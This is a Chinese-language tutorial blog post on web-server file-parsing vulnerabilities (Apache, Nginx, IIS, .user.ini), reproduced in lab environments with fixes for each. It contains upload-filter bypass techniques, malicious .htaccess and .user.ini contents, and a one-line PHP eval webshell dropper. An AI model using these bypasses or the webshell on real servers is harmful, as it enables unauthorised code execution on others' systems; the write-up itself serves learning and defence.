0x00 前言

经常听说过解析漏洞,这次来一探究竟。

 

0x01 解析漏洞简介

1、文件解析漏洞概述

文件解析漏洞,是指Web容器(Apache、Nginx、IIS等)在解析文件时将文件解析成脚本文件格式并得以执行而产生的漏洞。从而,黑客可以利用该漏洞实现非法文件的解析。

2、web容器是什么

web容器是一种服务程序,在服务器一个端口就有一个提供相应服务的程序,而这个程序就是处理从客户端发出的请求,如tomcat、apache、nginx等。(可以理解为编程语言提供环境)

中间件:提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。

容器:给处于其中的应用程序组件(ASP,JSP,PHP)提供一个环境。使处于其中的应用程序组件之间跟容器中的环境变量接口交互,不必关注其他系统问题。

在这里插入图片描述

攻击者在利用上传漏洞时,通常会与Web容器的解析漏洞配合在一起

 

0x02 Apache

测试环境

docker容器:kstaken/apache2

在docker里安装php:apt-get update && apt-get install php5

靶场:DoraBox靶场

修改站点根目录:vim /etc/apache2/sites-enabled/000-default

1、多后缀

漏洞描述

在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。

所以可上传一个test.php.qwzf文件绕过验证且服务器依然会将其解析为php。

Apache 能够识别的文件在mime.types文件里。

影响版本

Apache 2.0.x <= 2.0.59

Apache 2.2.x <= 2.2.17

Apache 2.2.2 <= 2.2.8

开始测试

1.查看Apache版本:

apachectl -v #或httpd -v(测试未显示Apache版本) 

平时可以使用浏览器捕获的响应包或使用burp抓包查看apache版本。

在这里插入图片描述

2.在DoraBox的任意文件靶场进行测试

上传的文件名:test.php.qwzf

上传的文件内容

<?php phpinfo(); ?> 

上传成功,访问看一下

在这里插入图片描述

成功解析成php文件。

修复方法

后缀验证尽量使用白名单的方式,这样即使使用不存在的后缀名,也无法绕过。

2、Apache配置问题

1.如果在Apache的 /etc/apache2/apache2.conf里有这样的配置

<FilesMatch "qwzf.jpg">
  SetHandler application/x-httpd-php
</FilesMatch> 

这时只要文件名是qwzf.jpg,会以php 来执行。

2.如果在Apache的 conf 里有这样一行配置AddHandler php5-script .php 这时只要文件名里包含.php
即使文件名是qwzf.php.jpg也会以php 来执行。

3.如果在 Apache 的 conf 里有这样一行配置AddType application/x-httpd-php .jpg

即使扩展名是.jpg,也会以php来执行。

Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess(分布式配置文件)
将Apache的/etc/apache2/sites-available/defaultAllowOverride None改为AllowOverride All

AllowOverride All 

开启rewrite_mod

a2enmod rewrite 

这样.htaccess文件就会生效。

开始测试

1.上传一个.htaccess文件,文件内容如下:

方法1:
<FilesMatch "qwzf.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

方法2:
AddHandler php5-script .php

方法3:
AddType application/x-httpd-php .jpg 

2.然后上传文件名为

方法1和方法3:qwzf.jpg

方法2和方法3:qwzf.php.jpg

文件内容为:<?php phpinfo(); ?>

在这里插入图片描述

在这里插入图片描述

修复方法

1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入

<Files ~ “.(php.|php3.)”>
        Order Allow,Deny
        Deny from all
</Files> 

2.关闭重写

a2dismod rewrite 

3、罕见后缀

Apache配置文件中会有.+.ph(p[345]?|t|tml)此类的正则表达式,被当php程序执行的文件名要符合正则表达式。也就是说php3,php4,php5,pht,phtml等文件后缀也是可以被当作php文件进行解析的。

上传一个查看phpinfo信息的qwzf.php3文件,访问

在这里插入图片描述

发现qwzf.php3文件被当作php文件进行解析。

4、后缀包含换行符\x0A(CVE-2017-15715)

phith0n师傅在代码审计知识星球里提到了Apache的一个解析漏洞CVE-2017-15715

漏洞描述

上传一个后缀末尾包含换行符的文件,来绕过FilesMatch。绕过FilesMatch不一定能被PHP解析。
这个漏洞可以用来绕过文件上传黑名单限制。即:

1.php\x0a => 1.php

apache通过mod_php来运行脚本,其2.4.0-2.4.29中存在apache换行解析漏洞,在解析php时xxx.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。该漏洞属于用户配置不当产生的漏洞,与具体中间件版本无关。

影响版本

Apache 2.4.0-2.4.29

测试环境

1.环境一:

用docker拉取一个名为vulhub/php:5.5-apache的镜像(Apache版本2.4.0~2.4.29之间)

使用下面命令启动容器:

docker run -d --name=cve-2017-15715 -p 8005:80 -v /var/www/bachang/cve-2017-15715:/var/www/html vulhub/php:5.5-apache 

进入容器并查看Apache版本

docker exec -it cve-2017-15715 /bin/bash
apachectl -v 

在这里插入图片描述

将下面测试代码目录映射到容器内的/var/www/html目录下,设置好写权限,即可开始测试。

2.环境二:

当然,如果感觉自己搭环境比较麻烦,可以使用vulhub靶场的CVE-2017-15715环境。

环境位置:vulhub/httpd/CVE-2017-15715

测试代码

<html>
<body>
  <form action="" method="post" enctype="multipart/form-data">
    file:<input type="file" name="file"><br />
    filename:<input type="text" name="name" value="qwzf.php">
    <input type="submit" value="submit">
    </form>
</body>
</html> <?php if (isset($_FILES['file'])) {
  $name = basename($_POST['name']);
  $ext = pathinfo($name, PATHINFO_EXTENSION); if (in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) { exit('bad file');
  }
  move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
} ?> 

开始测试

1.正常上传php文件,被拦截

在这里插入图片描述

2.上传test.php.qwzf,上传成功,但不解析,说明老的多后缀Apache解析漏洞不存在。

在这里插入图片描述

3.利用CVE-2017-15715,上传一个包含换行符的文件

注:只能是\x0A,不能是\x0D\x0A

上传qwzf.php文件,filename设置为qwzf.php

使用burp抓包,选择burp的Hex功能,在qwzf.php后面添加一个\x0A

在这里插入图片描述

发包,上传成功。然后访问qwzf.php%0A,发现可以成功解析php文件

在这里插入图片描述

Nginx是一款高性能的WEB服务器,通常用来作为PHP的解析容器。

 

0x03 Nginx

1、Nginx PHP CGI 解析漏洞(fix_pathinfo)

漏洞描述

查看nginx的配置文件

vim /etc/nginx/conf.d/default.conf

在这里插入图片描述

(1)Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问http://x.x.x.x/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为phpinfo.jpg/1.php,然后构造成SCRIPT_FILENAME传递给PHP CGI。

(2)但PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?

这就涉及到fix_pathinfo选项了。如果PHP中开启了fix_pathinfo这个选项,PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了。

简单来说,由于Nginx的特性,只要URL中路径名以.php结尾,不管该文件是否存在,直接交给php处理。

注:新版本php引入了security.limit_extensions,限制了可执行文件的后缀,默认只允许执行.php文件
使得该漏洞难以被成功利用

相关知识

(1)通过phpinfo查看cgi.fix_pathinfo=1,PHP里经常要获取当前请求的URL路径信息。一般可以通过环境变量$_SERVER[‘PATH_INFO’]获取,而配置文件中的cgi.fix_pathinifo选项则与这个值的获取相关。

在这里插入图片描述

(2)在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。

影响版本

漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞

漏洞形式

/1.jpg/1.php
/1.jpg/.php
/1.jpg%00.php
/1.jpg/%20\0.php

还有一种方法是:上传一个名字为qwzf.jpg,文件内容如下:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['qwzf']);?>'); ?> 

然后访问qwzf.jpg/.php,在当前目录下就会生成一句话木马shell.php

测试环境

1.环境一:

vulhub靶场的漏洞环境

环境位置:vulhub/nginx/nginx_parsing_vulnerability

nginx版本:nginx/1.19.2

2.环境二:

使用phpstudy测试,默认配置即可(默认的cgi.fix_pathinfo是注释状态,但默认值确为1)

nginx版本:nginx/1.11.5

开始测试

使用环境一的vulhub靶场对应的环境

上传一个jpg文件,文件名为phpinfo.jpg,文件内容为(或者上传图片马):

GIF89a <?php phpinfo(); ?> 

在这里插入图片描述

上传成功,访问一下

/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/1.php
/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/.php
/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/%20\0.php 

发现除了%00截断外,均以php的形式解析,显示phpinfo信息

在这里插入图片描述

%00截断不能成功,原因应该是PHP的版本问题。%00截断使用条件:php 版本<5.3.4

修复方法

1.修改php.ini文件,将cgi.fix_pathinfo的值设置为0(慎用);

若实在将cgi.fix_pathinfo的值设置为0,就将php-fpm.conf中的security.limit_extensions后面的值设置为.php

2.在Nginx配置文件中添加以下代码:

if ( $fastcgi_script_name ~ ..*/.*php ) { return 403;
} 

代码的意思:当匹配到类似test.jpg/a.php的URL时,将返回403错误代码。

3.使用Apache服务器的,在相应目录下放一个 .htaccess 文件,内容为:

<FilesMatch "(?i:\.php)$">
    Deny from all
</FilesMatch> 

4.不提供上传的原文件访问,对文件输出经过程序处理。

5.图片单独放一个服务器上,与业务代码数据进行隔离。

2、空字节代码执行漏洞

漏洞描述

Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码

影响版本:

Nginx 0.5.x

Nginx 0.6.x

Nginx 0.7-0.7.65

Nginx 0.8-0.8.37

测试环境

nginx官网

由于环境比较旧,不太容易搭建,这里只阐述一下大致过程:

1.上传一个qwzf.jpg图片文件

2.访问http://x.x.x.x/qwzf.jpg%00.php

3.就会将qwzf.jpg作为PHP文件进行解析

修复方法

1.升级nginx

2.禁止在上传文件目录下执行php文件

3.在nginx配置或者fcgi.conf配置添加下面内容:

if ($request_filename ~* (.*)\.php) { set $php_url $1;
} if (!-e $php_url.php) { return 403;
} 

3、nginx文件名逻辑漏洞(CVE-2013-4547)

漏洞描述

1.漏洞产生原因:

错误地解析了请求的URL,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。

2.漏洞原理:

Nginx匹配到.php结尾的请求,就发送给fastcgi进行解析,常见写法:

location ~ \.php$ {
    include        fastcgi_params;

    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
} 

(1)在关闭fix_pathinfo的情况下(即cgi.fix_pathinfo=0),只有.php后缀的文件才会被发送给fastcgi解析

(2)存在CVE-2013-4547时,请求qwzf.jpg[0x20][0x00].php,这个URI可匹配到正则\.php$,进入到Location块;

(3)进入后,Nginx错误地认为请求的文件是qwzf.jpg[0x20],然后设置其为SCRIPT_FILENAME的值发送给fastcgi。

(4)fastcgi根据SCRIPT_FILENAME的值,将qwzf.jpg[0x20]以php文件的形式进行解析,从而造成了解析漏洞。

也就是说,我们只需要上传一个空格结尾的文件,即可用PHP进行解析。

影响版本:

Nginx 0.8.41-1.4.3

Nginx 1.5 -1.5.7

测试环境

vulhub靶场的漏洞环境

环境位置:vulhub/nginx/CVE-2013-4547

nginx版本:nginx/1.4.2

开始测试

上传一个jpg文件,文件名为qwzf.jpg,文件内容为(或者上传图片马):

GIF89a <?php phpinfo(); ?> 

使用burp添加空格

在这里插入图片描述

发包,成功上传文件

在这里插入图片描述

访问/uploadfiles/qwzf.jpg/.php,burp抓包,添加两个空格

在这里插入图片描述

使用burp的hex功能,将第二个空格的0x20改为0x00

在这里插入图片描述

发包,成功解析。

在这里插入图片描述

 

0x04 IIS

IIS(Internet Information Services)是微软出品的灵活、安全、易于管理的Web服务器。

1、IIS 5.x和IIS 6.x解析漏洞

使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语言一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。

测试环境

因为找不到相关环境,并且不想搭建,所以这里只阐述相关原理和相关知识。

1.目录解析(6.0)

形式http://www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp.asa目录下的文件都解析成asp文件。

2.文件解析(6.0)

形式http://www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件。

3.解析文件类型(默认解析后缀)

有的网站会设置黑名单上传限制 ,IIS6.0 默认的可执行文件除了asp还包含这三种 :

/xx.asa
/xx.cer
/xx.cdx 

iis把asa,cdx,cer解析成asp文件的原因:这四种扩展名都是用的同一个asp.dll文件来执行。

修复方法

1.阻止创建.asp.asa类型的文件夹

2.阻止上传xx.asp;.jpg类型的文件名

3.阻止上传.asa.cer.cdx后缀的文件

4.设置权限,限制用户创建文件夹

2、IIS 7.0/7.5 CGI解析漏洞

漏洞描述

IIS7/7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7/7.5本身的漏洞。

漏洞产生的条件

php.ini里的cgi.cgi_pathinfo=1

IIS7在Fast-CGI运行模式下

测试环境

windows server 2008 R2(x64)

IIS7

phpStudy 2018版本

开始测试

首先在VMware安装windows server 2008 R2虚拟机(比较简单,百度搜教程即可),然后安装IIS7和phpStudy 2018。可参考:IIS7.0解析漏洞

写一个index.php文件测试环境是否能正常工作。

在这里插入图片描述

正常工作。接下来,正式开始测试

1.在站点根目录创建一个qwzf.jpg文件,文件内容为:

<?php phpinfo(); ?> 

2.配置CGI 模式

(1)在php.ini文件里将cgi.fix_pathinfo 取消注释并把值改为1

在这里插入图片描述

(2)更改网站的处理程序映射

管理工具 –> IIS -> WIN-5RQ4P819403 -> 处理程序映射

在这里插入图片描述

3.访问http://192.168.201.149/qwzf.jpg/.php

在这里插入图片描述

发现qwzf.jpg成功解析。

常用利用方法:上传图片马

 

0x05 .user.ini

.user.ini 作用和配置

.htaccess是伪静态环境配置文件,用于lamp。

.user.ini是lnmp文件,里面放的是你网站的文件夹路径地址。目的是防止跨目录访问和文件跨目录读取.

为了防止跨站,可将 .user.ini放在网站根目录下,内容为:

open_basedir=/项目路径/:/tmp/:/proc/

如:open_basedir=/var/www/html/:/tmp/:/proc/

测试代码

<?php //获取当前文件所在的绝对目录 $dir = dirname(__FILE__); echo " <pre>";
print_r($dir); //读取根目录文件夹vim $file = scandir('/'); //显示 echo " <pre>";
print_r($file); ?> 

没加.user.ini的时候可以直接读到根目录的文件

在这里插入图片描述

加上.user.ini之后,就读不到根目录的文件了

在这里插入图片描述

.user.ini文件利用

利用条件:
1.服务器脚本语言为PHP
2.服务器使用CGI/FastCGI模式
3.上传目录下要有可执行的php文件

参考:user.ini文件构成的PHP后门

大师傅博客里对.user.ini的解释具体可以怎样理解呢?

我的对其总结如下:

1.php.ini作为php的默认的配置文件,包括很多php配置,可分为:PHP_INI_SYSTEMPHP_INI_PERDIRPHP_INI_ALLPHP_INI_USER

2.模式为PHP_INI_USER的配置项,可在ini_set()函数中设置、注册表中设置和.user.ini中设置

3.PHP会在每个目录下扫描 INI 文件,从被执行PHP 文件所在目录一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT']所指定的)。若被执行PHP 文件在 web 根目录之外,则只扫描该目录。

4..user.ini简单来说,就是一个可以由用户“自定义”的php.ini,可以自定义的设置是模式为PHP_INI_PERDIR 、 PHP_INI_USER的设置(实际上,除PHP_INI_SYSTEM外的模式都可以通过.user.ini来设置)。

5..user.ini是一个能被动态加载的ini文件。也就是修改.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

6.php配置项auto_prepend_file(auto_append_file),指定一个文件,自动包含在要执行的文件前(后),类似于在文件前(后)调用了require()函数。即借助.user.ini文件,可让所有php文件都“自动”包含某个文件
(当文件调用的有exit()时该设置无效)

可直接在.user.ini中设置要包含的文件(如webshell、图片马等):

auto_prepend_file=qwzf.jpg 

qwzf.jpg即是可执行php文件要包含的文件。

开始测试

直接使用vulhub靶场vulhub/nginx/CVE-2013-4547环境,在uploadfiles目录下创建一个可执行的php文件index.php

(1)上传.user.ini文件,内容如下:

GIF89a
auto_prepend_file=qwzf.jpg 

(2)上传图片马qwzf.jpg,内容如下:

GIF89a
<?php phpinfo(); ?> 

访问/uploadfiles/index.php,发现qwzf.jpg被成功包含到index.php之前进行解析

在这里插入图片描述

 

0x06 Windows操作系统文件命名规则

Windows操作系统中,文件名不能以空格或.开头,也不能以空格或.结尾。当把一个文件命名为以空格或.开头或结尾时,会自动地去掉开头和结尾处的空格和.。利用此特性,也可能造成文件解析漏洞

 

0x07 后记

根据上面所述,可见解析漏洞的危害。所以要注意解析漏洞的防范。
本人小白一枚,如有错误,敬请大佬批评指正!

参考博客:
文件解析漏洞总结
CTF考点总结-文件上传/文件包含
利用最新Apache解析漏洞(CVE-2017-15715)绕过上传黑名单
文件上传漏洞,解析漏洞总结
解析漏洞整理
典型漏洞归纳之解析漏洞
服务器解析漏洞总结
文件解析漏洞总结-Nginx
Nginx错误配置引发的解析漏洞复现
nginx文件名逻辑漏洞_CVE-2013-4547漏洞复现
nginx+php使用open_basedir限制站点目录防止跨站